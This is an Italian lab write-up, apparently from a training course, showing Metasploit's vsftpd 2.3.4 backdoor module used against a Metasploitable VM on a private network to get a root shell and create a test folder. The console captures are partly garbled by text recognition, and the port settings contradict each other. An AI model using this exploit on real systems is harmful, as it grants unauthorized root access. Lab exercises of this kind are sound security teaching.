## NELLA LEZIONE PRATICA DI OGGI VEDREMO COME EFFETTUARE UNA SESSIONE DI HACKING CON METASPLOIT SULLA MACCHINA METASPLOITABLE

Siamo andati ad eseguire il comando "sudo msfdb init && msfconsole" per inizializzare la msfconsole per eseguire gli exploit

```
File Addoni Modifica Visualizza Auto

(Anti-Sani) [-]

Sunda serious init de seriousole

(Si) Detables allessey started
already configured, skipping initialization

Metasploit tip: View all productivity tips with the tips command

***Concepts of the configured of
```

Siamo andati a scegliere l'exploit "vsftpd\_234\_backdoor" tramite il comando sotto per testare la vulnerabilità del servizio vsftpd

```
msf6 > use exploit/unix/ftp/vsftpd_234_backdoor
[*] No payload configured, defaulting to cmd/unix/interact
                                                        ) > show options
Module options (exploit/unix/ftp/vsftpd_234_backdoor):
    Name
                Current Setting Required Description
                                                    The local client address
The local client port
A proxy chain of format type:host:port[,type:host:port][...]
The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
The target port (TCP)
    CHOST
    CPORT
   Proxies
RHOSTS 192.168.68.103
                                     yes
yes
Payload options (cmd/unix/interact):
    Name Current Setting Required Description
Exploit target:
    Id Name
    0 Automatic
View the full module info with the info, or info -d command.
```

## NELLA LEZIONE PRATICA DI OGGI VEDREMO COME EFFETTUARE UNA SESSIONE DI HACKING CON METASPLOIT SULLA MACCHINA METASPLOITABLE

Abbiamo configurato i requisiti come il target host e il target port tramite i comandi "set rhosts ..." e "set rport ..."

```
> set rhosts 192.168.1.149
msf6 exploit
rhosts ⇒ 192.168.1.149

msf6 exploit(unix/ftp/vs

rport ⇒ 24
                                                       ) > set rport 24
msf6 exploit(
Module options (exploit/unix/ftp/vsftpd_234_backdoor):
                Current Setting Required Description
                                                    The local client address
The local client port
A proxy chain of format type:host:port[,type:host:port][...]
The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
The target port (TCP)
    CPORT
    Proxies
    RHOSTS
RPORT
Payload options (cmd/unix/interact):
    Name Current Setting Required Description
    Id Name
    0 Automatic
View the full module info with the info, or info -d command.
```

Andiamo a settare la porta 21 come target e con il comando "show options" possiamo vedere che sono stati impostati tutti i parametri



## NELLA LEZIONE PRATICA DI OGGI VEDREMO COME EFFETTUARE UNA SESSIONE DI HACKING CON METASPLOIT SULLA MACCHINA METASPLOITABLE

Con il comando "run" o "exploit" possiamo avviare il processo e vedere che crea una sessione di terminale dove poter lanciare dei comandi

```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > run

[*] 192.168.1.149:21 - Banner: 220 (vsFTPd 2.3.4)

[*] 192.168.1.149:21 - USER: 331 Please specify the password.

[*] 192.168.1.149:21 - Backdoor service has been spawned, handling ...

[*] 192.168.1.149:21 - UID: uid=0(root) gid=0(root)

[*] Found shell.

[*] Command shell session 1 opened (192.168.1.110:36741 → 192.168.1.149:6200) at 2024-01-15 04:30:42 -0500
```

Con il comando "sudo mkdir /test\_metasploit" andiamo a creare una cartella di test "test\_metasploit" nella cartella di root /

```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > run

[*] 192.168.1.149:21 - Banner: 220 (vsFTPd 2.3.4)

[*] 192.168.1.149:21 - USER: 331 Please specify the password.

[+] 192.168.1.149:21 - Backdoor service has been spawned, handling...

[+] 192.168.1.149:21 - UID: uid=0(root) gid=0(root)

[*] Found shell.

[*] Found shell session 1 opened (192.168.1.110:36741 → 192.168.1.149:6200) at 2024-01-15 04:30:42 -0500

sudo mkdir /test_metasploit
```

Da Metasploitable possiamo andare a vedere con il comando "ls /" che è stata creata la cartella "test\_metasploit" all'interno della directory root come da comando sopra

```
msfadmin@metasploitable:~$ ls /
bin
       dev
              initrd
                           lost+found
                                        nohup.out
                                                    root
                                                                              usr
       etc
              initrd.img
                           media
                                                    sbin
boot
                                        opt
                                                           test_metasploit
                                                                              var
cdrom
       home
              lib
                           mnt
                                        proc
                                                    srv
                                                           tmp
                                                                              vmlinuz
msfadmin@metasploitable:~
```